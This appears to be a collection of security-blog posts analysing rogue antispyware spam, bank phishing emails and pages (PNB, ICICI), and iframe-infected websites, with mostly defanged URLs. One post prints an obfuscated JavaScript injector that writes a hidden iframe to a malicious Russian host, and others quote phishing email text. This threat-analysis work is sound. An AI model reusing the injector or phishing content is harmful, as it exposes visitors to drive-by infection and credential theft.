Google Group Spammed with Rouge Antispyware

Here is the Posting to a google group

 

this link redirects to

hxxp://numberstencils.net/images/www/index.php

above link connected with following rouge antispyware

hxxp://scanonlinesite.info/downloads.php/?aff_id=91&aff_Aid=20106&adult

above fake scanner is loaded from the web page and drops following file.

Following file prompts to run as administrator and here is the manifest

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="requireAdministrator"></requestedExecutionLevel>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>

Punjab National Bank Phishing

 

 

Today Received phishing mail for PNB , this second mail in a week seems rise in phishing for punjab national bank.Here is the content of the mail

“

PUNJAB NATIONAL BANK SECURITY UPDATE

Punjab National Bank is pleased to notify our online banking customers that
we have successfully upgraded to a more secure and encrypted SSL servers
to serve our esteemed customers for a better and more efficient banking
services in the year 2009.

Due to this recent upgrade you are requested to update your Online Banking
information by following the reference below by using our new secure and safe
SSL servers. To Validate and Secure your Online Banking Account click on the
secure Web Form below;

http://www.netbanking.netpnb.com?onlinesecurity-update

”

but link is connected to following link

“hxxp://http://savepix.net/thumbs/punjab/index.htm – > this host the phishing page

 

This site has been hacked reason is found using  Acunetix Web Vulnerability scanner.

 

Yet Again – IFRAMED Site

 

This Time following iframed site comes in top of Google Pages for , “Indian Jewels” with pages hosted from india

hxxp://nacjewellers.com

 

this site has an IFRAME to

hxxp://yournamequickshop.cn:8080/index.php

AS that has this site is

AS29550 EUROCONNEX-AS

 

 

 

So if you are using google to get some sites , beware your  chance of getting infected is high.

Google Trends Proportional For Malware presence

 

Here is the Google trends India Data

site in focus is - worldoftimepass.com

site is currently blocked by safe browsing

this is malicious script

   1: function/*iEkb*/QwGb(PFTC,/*iEkb*/TUBM,/*iEkb*/vIDK){document.writeln("<u/*iEkb*/id=\""+PFTC+"\"/*iEkb*/style=\""+vIDK+"\">"+TUBM+"</u>");}function/*iEkb*/nMeL(PFTC){cLyM/*iEkb*/=/*iEkb*/document.getElementById(PFTC);return/*iEkb*/cLyM.innerHTML;}var/*iEkb*/uWaL/*iEkb*/=/*iEkb*/unescape("\x75\x6e\x65\x73\x63\x61\x70\x65"),/*iEkb*/ADyk/*iEkb*/=/*iEkb*/unescape("\x65\x76\x61\x6c"),/*iEkb*/cLyM,/*iEkb*/nTOs;QwGb("uWaL","\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x3a\x2f\x2f\x74\x72\x61\x6d\x61\x64\x6f\x6c\x73\x70\x61\x63\x65\x2e\x72\x75\x2f\x73\x79\x6d\x70\x6c\x65\x2e\x68\x74\x6d\x6c\x27\x20\x69\x64\x3d\x27\x36\x27\x20\x6e\x61\x6d\x65\x3d\x27\x31\x27\x20\x73\x74\x79\x6c\x65\x3d\x27\x64\x69\x73\x70\x6c\x61\x79\x3a\x6e\x6f\x6e\x65\x27\x20\x61\x6c\x69\x67\x6e\x3d\x27\x6c\x65\x66\x74\x27\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e","display:none;");var/*iEkb*/BTmX/*iEkb*/=/*iEkb*/nMeL("uWaL");nTOs/*iEkb*/=/*iEkb*/eval(uWaL);BTmX/*iEkb*/=/*iEkb*/nTOs(BTmX);

this decodes to

tramadolspace.ru/symple.html

above sites returns error 404 .

Ask ToolBar – Low Risk Threat

Ask Toolbar has been installed with a shareware program , but I uninstalled from add/remove programs. But still I could see that in my IE , by typing google.com i get the following page.

Very Weird ,Here is where it still stays

This is totally bad improper un installation and redirection on competitor web pages.

Nice Video – About Phishing Scam

Bank Phish

This is phish email for ICICI (submitted to phishtank)

hosted to

hxxp://ayitipeyipam.org/css/data/onlineverification.do/

from here it redirects to

hxxp:/ayitipeyipam.org/css/data/onlineverification.do/index2.html

there is twist here

See it

 

this page is very same to paypal ,confirmed with the script

   1: // This is an ugly hack until there is a reliable ondomready function

   2:                            if(typeof PAYPAL != 'undefined'){

   3:                                PAYPAL.core.Navigation.init();

   4:                           }</scr

Then it lands on to a page where it asks for card information.

after that it shows thank you message,

and finally lands to Original site ,so user will never know that he has been phished.

   1: <META HTTP-EQUIV="Refresh" CONTENT="5;URL=https://infinity.icicibank.co.in/Login.jsp" ></body>